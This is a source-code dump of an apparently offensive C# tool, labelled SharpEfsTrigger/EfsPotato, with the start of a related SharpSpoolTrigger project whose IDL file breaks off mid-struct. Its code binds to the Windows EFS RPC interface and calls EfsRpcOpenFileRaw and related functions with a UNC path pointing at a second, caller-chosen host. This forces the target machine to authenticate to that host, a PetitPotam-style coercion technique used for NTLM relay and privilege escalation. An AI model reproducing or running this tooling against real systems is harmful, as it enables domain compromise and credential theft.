EfsRpcDecryptFileSrv 29 | EfsRpcQueryRecoveryAgents 30 | EfsRpcQueryUsersOnFile 31 | EfsRpcRemoveUsersFromFile 32 | "); 33 | return; 34 | } 35 | if (args.Length >= 3) 36 | { 37 | apicall = args[2]; 38 | } 39 | if (IntPtr.Size == 8) 40 | { 41 | Console.WriteLine("NdrClientCall2x64"); 42 | } 43 | else 44 | { 45 | Console.WriteLine("CallNdrClientCall2x86"); 46 | } 47 | 48 | var Efs = new efs(); 49 | IntPtr hHandle = IntPtr.Zero; 50 | try 51 | { 52 | //Efs.EfsRpcOpenFileRaw(args[0], out hHandle, string.Format("\\\\{0}\\test\\Settings.ini", args[1]), 0); 53 | //Efs.EfsRpcEncryptFileSrv(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1])); 54 | //Efs.EfsRpcDecryptFileSrv(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), 0); 55 | //Efs.EfsRpcQueryRecoveryAgents(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), out hHandle); 56 | //Efs.EfsRpcQueryUsersOnFile(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), out hHandle); 57 | //Efs.EfsRpcRemoveUsersFromFile(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), out hHandle); 58 | //Efs.EfsRpcAddUsersToFile(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), out hHandle); //Not working ? 59 | switch (apicall) 60 | { 61 | case "EfsRpcOpenFileRaw": 62 | apicall = "EfsRpcOpenFileRaw"; 63 | result = Efs.EfsRpcOpenFileRaw(args[0], out hHandle, string.Format("\\\\{0}\\test\\Settings.ini", args[1]), 0); 64 | break; 65 | 66 | case "EfsRpcEncryptFileSrv": 67 | apicall = "EfsRpcEncryptFileSrv"; 68 | result = Efs.EfsRpcEncryptFileSrv(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1])); 69 | break; 70 | 71 | case "EfsRpcDecryptFileSrv": 72 | apicall = "EfsRpcDecryptFileSrv"; 73 | result = Efs.EfsRpcDecryptFileSrv(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), 0); 74 | break; 75 | 76 | case "EfsRpcQueryRecoveryAgents": 77 | apicall = "EfsRpcQueryRecoveryAgents"; 78 | result = Efs.EfsRpcQueryRecoveryAgents(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), out hHandle); 79 | break; 80 | 81 | case "EfsRpcQueryUsersOnFile": 82 | apicall = "EfsRpcQueryUsersOnFile"; 83 | result = Efs.EfsRpcQueryUsersOnFile(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), out hHandle); 84 | break; 85 | 86 | case "EfsRpcRemoveUsersFromFile": 87 | apicall = "EfsRpcRemoveUsersFromFile"; 88 | result = Efs.EfsRpcRemoveUsersFromFile(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), out hHandle); 89 | break; 90 | 91 | //case "EfsRpcAddUsersToFile": 92 | // Efs.EfsRpcAddUsersToFile(args[0], string.Format("\\\\{0}\\test\\Settings.ini", args[1]), out hHandle); //Not working ? 93 | // break; 94 | 95 | default: 96 | apicall = "EfsRpcOpenFileRaw"; 97 | result = Efs.EfsRpcOpenFileRaw(args[0], out hHandle, string.Format("\\\\{0}\\test\\Settings.ini", args[1]), 0); 98 | break; 99 | } 100 | } 101 | catch (Exception ex) 102 | { 103 | Console.WriteLine(ex); 104 | return; 105 | } 106 | Console.WriteLine($"[*]{apicall}: 5"); 107 | } 108 | } 109 | } -------------------------------------------------------------------------------- /SharpEfsTrigger/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("EfsPotato")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("EfsPotato")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("9df4eba3-e355-4df8-a5a8-dd5b4806c55b")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /SharpEfsTrigger/SharpEfsTrigger.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {1AC7265A-3CEF-45E8-95F3-ABD4F5AAB3F1} 8 | Exe 9 | SharpEfsTrigger 10 | SharpEfsTrigger 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | x64 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /SharpEfsTrigger/SharpEfsTrigger.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | ProjectFiles 5 | 6 | -------------------------------------------------------------------------------- /SharpEfsTrigger/nativemethods.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SharpEfsTrigger 5 | { 6 | //https://raw.githubusercontent.com/vletoux/pingcastle/19a3890b214bff7cb66b08c55bb4983ca21c8bd1/RPC/nativemethods.cs 7 | public class NativeMethods 8 | { 9 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 10 | internal static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding); 11 | 12 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 13 | internal static extern IntPtr NdrClientCall2x86(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr args); 14 | 15 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 16 | internal static extern Int32 RpcBindingFree(ref IntPtr lpString); 17 | 18 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 19 | internal static extern Int32 RpcStringBindingCompose(String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, out IntPtr lpBindingString); 20 | 21 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)] 22 | internal static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue); 23 | 24 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoExW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 25 | internal static extern Int32 RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, ref SEC_WINNT_AUTH_IDENTITY AuthIdentity, UInt32 AuthzSvc, ref RPC_SECURITY_QOS SecurityQOS); 26 | 27 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 28 | internal static extern Int32 RpcBindingSetAuthInfo(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr AuthIdentity, UInt32 AuthzSvc); 29 | 30 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 31 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, out IntPtr hContext, string FileName, int Flags); 32 | 33 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 34 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string FileName, out IntPtr efsObject); 35 | 36 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 37 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string FileName); 38 | 39 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 40 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string FileName, ulong Flags); 41 | 42 | //structs 43 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 44 | internal struct SEC_WINNT_AUTH_IDENTITY 45 | { 46 | [MarshalAs(UnmanagedType.LPWStr)] 47 | public string User; 48 | 49 | public int UserLength; 50 | 51 | [MarshalAs(UnmanagedType.LPWStr)] 52 | public string Domain; 53 | 54 | public int DomainLength; 55 | 56 | [MarshalAs(UnmanagedType.LPWStr)] 57 | public string Password; 58 | 59 | public int PasswordLength; 60 | public int Flags; 61 | }; 62 | 63 | [StructLayout(LayoutKind.Sequential)] 64 | public struct RPC_SECURITY_QOS 65 | { 66 | public Int32 Version; 67 | public Int32 Capabilities; 68 | public Int32 IdentityTracking; 69 | public Int32 ImpersonationType; 70 | }; 71 | 72 | [StructLayout(LayoutKind.Sequential)] 73 | internal struct COMM_FAULT_OFFSETS 74 | { 75 | public short CommOffset; 76 | public short FaultOffset; 77 | } 78 | 79 | [StructLayout(LayoutKind.Sequential)] 80 | internal struct RPC_VERSION 81 | { 82 | public ushort MajorVersion; 83 | public ushort MinorVersion; 84 | 85 | public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) 86 | { 87 | MajorVersion = InterfaceVersionMajor; 88 | MinorVersion = InterfaceVersionMinor; 89 | } 90 | } 91 | 92 | [StructLayout(LayoutKind.Sequential)] 93 | internal struct RPC_SYNTAX_IDENTIFIER 94 | { 95 | public Guid SyntaxGUID; 96 | public RPC_VERSION SyntaxVersion; 97 | } 98 | 99 | [StructLayout(LayoutKind.Sequential)] 100 | internal struct RPC_CLIENT_INTERFACE 101 | { 102 | public uint Length; 103 | public RPC_SYNTAX_IDENTIFIER InterfaceId; 104 | public RPC_SYNTAX_IDENTIFIER TransferSyntax; 105 | public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable; 106 | public uint RpcProtseqEndpointCount; 107 | public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint; 108 | public IntPtr Reserved; 109 | public IntPtr InterpreterInfo; 110 | public uint Flags; 111 | 112 | public static Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60); 113 | 114 | public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) 115 | { 116 | Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE)); 117 | RPC_VERSION rpcVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor); 118 | InterfaceId = new RPC_SYNTAX_IDENTIFIER(); 119 | InterfaceId.SyntaxGUID = iid; 120 | InterfaceId.SyntaxVersion = rpcVersion; 121 | rpcVersion = new RPC_VERSION(2, 0); 122 | TransferSyntax = new RPC_SYNTAX_IDENTIFIER(); 123 | TransferSyntax.SyntaxGUID = IID_SYNTAX; 124 | TransferSyntax.SyntaxVersion = rpcVersion; 125 | DispatchTable = IntPtr.Zero; 126 | RpcProtseqEndpointCount = 0u; 127 | RpcProtseqEndpoint = IntPtr.Zero; 128 | Reserved = IntPtr.Zero; 129 | InterpreterInfo = IntPtr.Zero; 130 | Flags = 0u; 131 | } 132 | } 133 | 134 | [StructLayout(LayoutKind.Sequential)] 135 | internal struct MIDL_STUB_DESC 136 | { 137 | public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation; 138 | public IntPtr pfnAllocate; 139 | public IntPtr pfnFree; 140 | public IntPtr pAutoBindHandle; 141 | public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines; 142 | public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs; 143 | public IntPtr /*EXPR_EVAL*/ apfnExprEval; 144 | public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple; 145 | public IntPtr pFormatTypes; 146 | public int fCheckBounds; 147 | /* Ndr library version. */ 148 | public uint Version; 149 | public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct; 150 | public int MIDLVersion; 151 | public IntPtr CommFaultOffsets; 152 | 153 | // New fields for version 3.0+ 154 | public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple; 155 | 156 | // Notify routines - added for NT5, MIDL 5.0 157 | public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable; 158 | 159 | public IntPtr mFlags; 160 | 161 | // International support routines - added for 64bit post NT5 162 | public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables; 163 | 164 | public IntPtr ProxyServerInfo; 165 | public IntPtr /*NDR_EXPR_DESC*/ pExprInfo; 166 | // Fields up to now present in win2000 release. 167 | 168 | public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr, 169 | IntPtr pfnAllocatePtr, IntPtr pfnFreePtr) 170 | { 171 | pFormatTypes = pFormatTypesPtr; 172 | RpcInterfaceInformation = RpcInterfaceInformationPtr; 173 | CommFaultOffsets = IntPtr.Zero; 174 | pfnAllocate = pfnAllocatePtr; 175 | pfnFree = pfnFreePtr; 176 | pAutoBindHandle = IntPtr.Zero; 177 | apfnNdrRundownRoutines = IntPtr.Zero; 178 | aGenericBindingRoutinePairs = IntPtr.Zero; 179 | apfnExprEval = IntPtr.Zero; 180 | aXmitQuintuple = IntPtr.Zero; 181 | fCheckBounds = 1; 182 | Version = 0x50002u; 183 | pMallocFreeStruct = IntPtr.Zero; 184 | MIDLVersion = 0x801026e; 185 | aUserMarshalQuadruple = IntPtr.Zero; 186 | NotifyRoutineTable = IntPtr.Zero; 187 | mFlags = new IntPtr(0x00000001); 188 | CsRoutineTables = IntPtr.Zero; 189 | ProxyServerInfo = IntPtr.Zero; 190 | pExprInfo = IntPtr.Zero; 191 | } 192 | } 193 | } 194 | } -------------------------------------------------------------------------------- /SharpEfsTrigger/rpcapi.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using static SharpEfsTrigger.NativeMethods; 4 | 5 | namespace SharpEfsTrigger 6 | { 7 | public abstract class efsapi 8 | { 9 | private byte[] MIDL_ProcFormatString; 10 | 11 | private byte[] MIDL_TypeFormatString; 12 | private GCHandle procString; 13 | private GCHandle formatString; 14 | private GCHandle stub; 15 | private GCHandle faultoffsets; 16 | private GCHandle clientinterface; 17 | private string PipeName; 18 | 19 | private allocmemory AllocateMemoryDelegate = AllocateMemory; 20 | private freememory FreeMemoryDelegate = FreeMemory; 21 | 22 | public UInt32 RPCTimeOut = 5000; 23 | 24 | protected void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, string pipe, ushort MajorVerson, ushort MinorVersion) 25 | { 26 | this.MIDL_ProcFormatString = MIDL_ProcFormatString; 27 | this.MIDL_TypeFormatString = MIDL_TypeFormatString; 28 | PipeName = pipe; 29 | procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned); 30 | 31 | RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion); 32 | 33 | COMM_FAULT_OFFSETS commFaultOffset = new COMM_FAULT_OFFSETS(); 34 | commFaultOffset.CommOffset = -1; 35 | commFaultOffset.FaultOffset = -1; 36 | faultoffsets = GCHandle.Alloc(commFaultOffset, GCHandleType.Pinned); 37 | clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned); 38 | formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned); 39 | 40 | MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(), 41 | clientinterface.AddrOfPinnedObject(), 42 | Marshal.GetFunctionPointerForDelegate(AllocateMemoryDelegate), 43 | Marshal.GetFunctionPointerForDelegate(FreeMemoryDelegate)); 44 | 45 | stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned); 46 | } 47 | 48 | protected void freeStub() 49 | { 50 | procString.Free(); 51 | faultoffsets.Free(); 52 | clientinterface.Free(); 53 | formatString.Free(); 54 | stub.Free(); 55 | } 56 | 57 | private delegate IntPtr allocmemory(int size); 58 | 59 | protected static IntPtr AllocateMemory(int size) 60 | { 61 | IntPtr memory = Marshal.AllocHGlobal(size); 62 | return memory; 63 | } 64 | 65 | private delegate void freememory(IntPtr memory); 66 | 67 | protected static void FreeMemory(IntPtr memory) 68 | { 69 | Marshal.FreeHGlobal(memory); 70 | } 71 | 72 | //https://github.com/vletoux/pingcastle/blob/19a3890b214bff7cb66b08c55bb4983ca21c8bd1/RPC/rpcapi.cs#L224 73 | protected IntPtr Bind(IntPtr IntPtrserver, bool UseNullSession = false, string interfaceid = null) 74 | { 75 | string server = Marshal.PtrToStringUni(IntPtrserver); 76 | IntPtr bindingstring = IntPtr.Zero; 77 | IntPtr binding = IntPtr.Zero; 78 | Int32 status; 79 | 80 | status = RpcStringBindingCompose(interfaceid, "ncacn_np", server, PipeName, null, out bindingstring); 81 | if (status != 0) 82 | { 83 | Console.WriteLine("[x]RpcStringBindingCompose failed with status 0x" + status.ToString("x")); 84 | return IntPtr.Zero; 85 | } 86 | 87 | status = RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding); 88 | RpcBindingFree(ref bindingstring); 89 | if (status != 0) 90 | { 91 | Console.WriteLine("[x]RpcBindingFromStringBinding failed with status 0x" + status.ToString("x")); 92 | return IntPtr.Zero; 93 | } 94 | 95 | //Todo 96 | if (UseNullSession) 97 | { 98 | // note: windows xp doesn't support user or domain = "" => return 0xE 99 | SEC_WINNT_AUTH_IDENTITY identity = new SEC_WINNT_AUTH_IDENTITY(); 100 | identity.User = ""; 101 | identity.UserLength = identity.User.Length * 2; 102 | identity.Domain = ""; 103 | identity.DomainLength = identity.Domain.Length * 2; 104 | identity.Password = ""; 105 | identity.Flags = 2; 106 | 107 | RPC_SECURITY_QOS qos = new RPC_SECURITY_QOS(); 108 | qos.Version = 1; 109 | qos.ImpersonationType = 3; 110 | GCHandle qoshandle = GCHandle.Alloc(qos, GCHandleType.Pinned); 111 | 112 | // 9 = negotiate , 10 = ntlm ssp 113 | status = RpcBindingSetAuthInfoEx(binding, server, 0, 9, ref identity, 0, ref qos); 114 | qoshandle.Free(); 115 | if (status != 0) 116 | { 117 | Console.WriteLine("[x]RpcBindingSetAuthInfoEx failed with status 0x" + status.ToString("x")); 118 | } 119 | } 120 | else 121 | { 122 | status = RpcBindingSetAuthInfo(binding, server, /* RPC_C_AUTHN_LEVEL_PKT_PRIVACY */ 6, /* RPC_C_AUTHN_GSS_NEGOTIATE */ 9, IntPtr.Zero, 0); 123 | if (status != 0) 124 | { 125 | Console.WriteLine("[x]RpcBindingSetAuthInfo failed with status 0x" + status.ToString("x")); 126 | } 127 | } 128 | 129 | status = RpcBindingSetOption(binding, 12, new IntPtr(RPCTimeOut)); 130 | if (status != 0) 131 | { 132 | Console.WriteLine("[x]RpcBindingSetOption failed with status 0x" + status.ToString("x")); 133 | } 134 | Console.WriteLine("[!]binding ok (handle=" + binding.ToString("x") + ")"); 135 | 136 | return binding; 137 | } 138 | 139 | protected IntPtr GetProcStringHandle(int offset) 140 | { 141 | return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatString, offset); 142 | } 143 | 144 | protected IntPtr GetStubHandle() 145 | { 146 | return stub.AddrOfPinnedObject(); 147 | } 148 | 149 | protected IntPtr CallNdrClientCall2x86(int offset, params IntPtr[] args) 150 | { 151 | GCHandle stackhandle = GCHandle.Alloc(args, GCHandleType.Pinned); 152 | IntPtr result; 153 | try 154 | { 155 | result = NdrClientCall2x86(GetStubHandle(), GetProcStringHandle(offset), stackhandle.AddrOfPinnedObject()); 156 | } 157 | finally 158 | { 159 | stackhandle.Free(); 160 | } 161 | return result; 162 | } 163 | } 164 | } -------------------------------------------------------------------------------- /SharpSpoolTrigger/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpSpoolTrigger/Midl-RPRN/ms-dtyp.idl: -------------------------------------------------------------------------------- 1 | typedef unsigned short wchar_t; 2 | typedef void* ADCONNECTION_HANDLE; 3 | typedef int BOOL, *PBOOL, *LPBOOL; 4 | typedef unsigned char BYTE, *PBYTE, *LPBYTE; 5 | typedef BYTE BOOLEAN, *PBOOLEAN; 6 | typedef wchar_t WCHAR, *PWCHAR; 7 | typedef WCHAR* BSTR; 8 | typedef char CHAR, *PCHAR; 9 | typedef double DOUBLE; 10 | typedef unsigned long DWORD, *PDWORD, *LPDWORD; 11 | typedef unsigned int DWORD32; 12 | typedef unsigned __int64 DWORD64, *PDWORD64; 13 | typedef unsigned __int64 ULONGLONG; 14 | typedef ULONGLONG DWORDLONG, *PDWORDLONG; 15 | typedef unsigned long error_status_t; 16 | typedef float FLOAT; 17 | typedef unsigned char UCHAR, *PUCHAR; 18 | typedef short SHORT; 19 | 20 | typedef void* HANDLE; 21 | typedef DWORD HCALL; 22 | typedef int INT, *LPINT; 23 | typedef signed char INT8; 24 | typedef signed short INT16; 25 | typedef signed int INT32; 26 | typedef signed __int64 INT64; 27 | typedef void* LDAP_UDP_HANDLE; 28 | typedef const wchar_t* LMCSTR; 29 | typedef WCHAR* LMSTR; 30 | typedef long LONG, *PLONG, *LPLONG; 31 | typedef signed __int64 LONGLONG; 32 | typedef LONG HRESULT; 33 | 34 | typedef __int3264 LONG_PTR; 35 | typedef unsigned __int3264 ULONG_PTR; 36 | 37 | typedef signed int LONG32; 38 | typedef signed __int64 LONG64, *PLONG64; 39 | typedef const char* LPCSTR; 40 | typedef const void* LPCVOID; 41 | typedef const wchar_t* LPCWSTR; 42 | typedef char* PSTR, *LPSTR; 43 | 44 | typedef wchar_t* LPWSTR, *PWSTR; 45 | typedef DWORD NET_API_STATUS; 46 | typedef long NTSTATUS; 47 | typedef [context_handle] void* PCONTEXT_HANDLE; 48 | typedef [ref] PCONTEXT_HANDLE* PPCONTEXT_HANDLE; 49 | 50 | typedef unsigned __int64 QWORD; 51 | typedef void* RPC_BINDING_HANDLE; 52 | typedef UCHAR* STRING; 53 | 54 | typedef unsigned int UINT; 55 | typedef unsigned char UINT8; 56 | typedef unsigned short UINT16; 57 | typedef unsigned int UINT32; 58 | typedef unsigned __int64 UINT64; 59 | typedef unsigned long ULONG, *PULONG; 60 | 61 | typedef ULONG_PTR DWORD_PTR; 62 | typedef ULONG_PTR SIZE_T; 63 | typedef unsigned int ULONG32; 64 | typedef unsigned __int64 ULONG64; 65 | typedef wchar_t UNICODE; 66 | typedef unsigned short USHORT; 67 | typedef void VOID, *PVOID, *LPVOID; 68 | typedef unsigned short WORD, *PWORD, *LPWORD; 69 | 70 | typedef struct _FILETIME { 71 | DWORD dwLowDateTime; 72 | DWORD dwHighDateTime; 73 | } FILETIME, 74 | *PFILETIME, 75 | *LPFILETIME; 76 | 77 | typedef struct _GUID { 78 | unsigned long Data1; 79 | unsigned short Data2; 80 | unsigned short Data3; 81 | byte Data4[8]; 82 | } GUID, 83 | UUID, 84 | *PGUID; 85 | 86 | typedef struct _LARGE_INTEGER { 87 | signed __int64 QuadPart; 88 | } LARGE_INTEGER, *PLARGE_INTEGER; 89 | 90 | typedef struct _EVENT_DESCRIPTOR { 91 | USHORT Id; 92 | UCHAR Version; 93 | UCHAR Channel; 94 | UCHAR Level; 95 | UCHAR Opcode; 96 | USHORT Task; 97 | ULONGLONG Keyword; 98 | } EVENT_DESCRIPTOR, 99 | *PEVENT_DESCRIPTOR, 100 | *PCEVENT_DESCRIPTOR; 101 | 102 | typedef struct _EVENT_HEADER { 103 | USHORT Size; 104 | USHORT HeaderType; 105 | USHORT Flags; 106 | USHORT EventProperty; 107 | ULONG ThreadId; 108 | ULONG ProcessId; 109 | LARGE_INTEGER TimeStamp; 110 | GUID ProviderId; 111 | EVENT_DESCRIPTOR EventDescriptor; 112 | union { 113 | struct { 114 | ULONG KernelTime; 115 | ULONG UserTime; 116 | }; 117 | ULONG64 ProcessorTime; 118 | }; 119 | GUID ActivityId; 120 | } EVENT_HEADER, 121 | *PEVENT_HEADER; 122 | 123 | typedef DWORD LCID; 124 | 125 | typedef struct _LUID { 126 | DWORD LowPart; 127 | LONG HighPart; 128 | } LUID, 129 | *PLUID; 130 | 131 | typedef struct _MULTI_SZ { 132 | wchar_t* Value; 133 | DWORD nChar; 134 | } MULTI_SZ; 135 | 136 | typedef struct _RPC_UNICODE_STRING { 137 | unsigned short Length; 138 | unsigned short MaximumLength; 139 | [size_is(MaximumLength/2), length_is(Length/2)] 140 | WCHAR* Buffer; 141 | } RPC_UNICODE_STRING, 142 | *PRPC_UNICODE_STRING; 143 | 144 | typedef struct _SERVER_INFO_100 { 145 | DWORD sv100_platform_id; 146 | [string] wchar_t* sv100_name; 147 | } SERVER_INFO_100, 148 | *PSERVER_INFO_100, 149 | *LPSERVER_INFO_100; 150 | 151 | typedef struct _SERVER_INFO_101 { 152 | DWORD sv101_platform_id; 153 | [string] wchar_t* sv101_name; 154 | DWORD sv101_version_major; 155 | DWORD sv101_version_minor; 156 | DWORD sv101_version_type; 157 | [string] wchar_t* sv101_comment; 158 | } SERVER_INFO_101, 159 | *PSERVER_INFO_101, 160 | *LPSERVER_INFO_101; 161 | 162 | typedef struct _SYSTEMTIME { 163 | WORD wYear; 164 | WORD wMonth; 165 | WORD wDayOfWeek; 166 | WORD wDay; 167 | WORD wHour; 168 | WORD wMinute; 169 | WORD wSecond; 170 | WORD wMilliseconds; 171 | } SYSTEMTIME, 172 | *PSYSTEMTIME; 173 | 174 | typedef struct _UINT128 { 175 | UINT64 lower; 176 | UINT64 upper; 177 | } UINT128, 178 | *PUINT128; 179 | 180 | typedef struct _ULARGE_INTEGER { 181 | unsigned __int64 QuadPart; 182 | } ULARGE_INTEGER, *PULARGE_INTEGER; 183 | 184 | typedef struct _RPC_SID_IDENTIFIER_AUTHORITY { 185 | byte Value[6]; 186 | } RPC_SID_IDENTIFIER_AUTHORITY; 187 | 188 | typedef DWORD ACCESS_MASK; 189 | typedef ACCESS_MASK *PACCESS_MASK; 190 | 191 | typedef struct _OBJECT_TYPE_LIST { 192 | WORD Level; 193 | ACCESS_MASK Remaining; 194 | GUID* ObjectType; 195 | } OBJECT_TYPE_LIST, 196 | *POBJECT_TYPE_LIST; 197 | 198 | typedef struct _ACE_HEADER { 199 | UCHAR AceType; 200 | UCHAR AceFlags; 201 | USHORT AceSize; 202 | } ACE_HEADER, 203 | *PACE_HEADER; 204 | 205 | typedef struct _SYSTEM_MANDATORY_LABEL_ACE { 206 | ACE_HEADER Header; 207 | ACCESS_MASK Mask; 208 | DWORD SidStart; 209 | } SYSTEM_MANDATORY_LABEL_ACE, 210 | *PSYSTEM_MANDATORY_LABEL_ACE; 211 | 212 | typedef struct _TOKEN_MANDATORY_POLICY { 213 | DWORD Policy; 214 | } TOKEN_MANDATORY_POLICY, 215 | *PTOKEN_MANDATORY_POLICY; 216 | 217 | typedef struct _MANDATORY_INFORMATION { 218 | ACCESS_MASK AllowedAccess; 219 | BOOLEAN WriteAllowed; 220 | BOOLEAN ReadAllowed; 221 | BOOLEAN ExecuteAllowed; 222 | TOKEN_MANDATORY_POLICY MandatoryPolicy; 223 | } MANDATORY_INFORMATION, 224 | *PMANDATORY_INFORMATION; 225 | 226 | typedef struct _CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_RELATIVE { 227 | DWORD Length; 228 | BYTE OctetString[]; 229 | } CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_RELATIVE, 230 | *PCLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_RELATIVE; 231 | 232 | typedef struct _CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1 { 233 | DWORD Name; 234 | WORD ValueType; 235 | WORD Reserved; 236 | DWORD Flags; 237 | DWORD ValueCount; 238 | union { 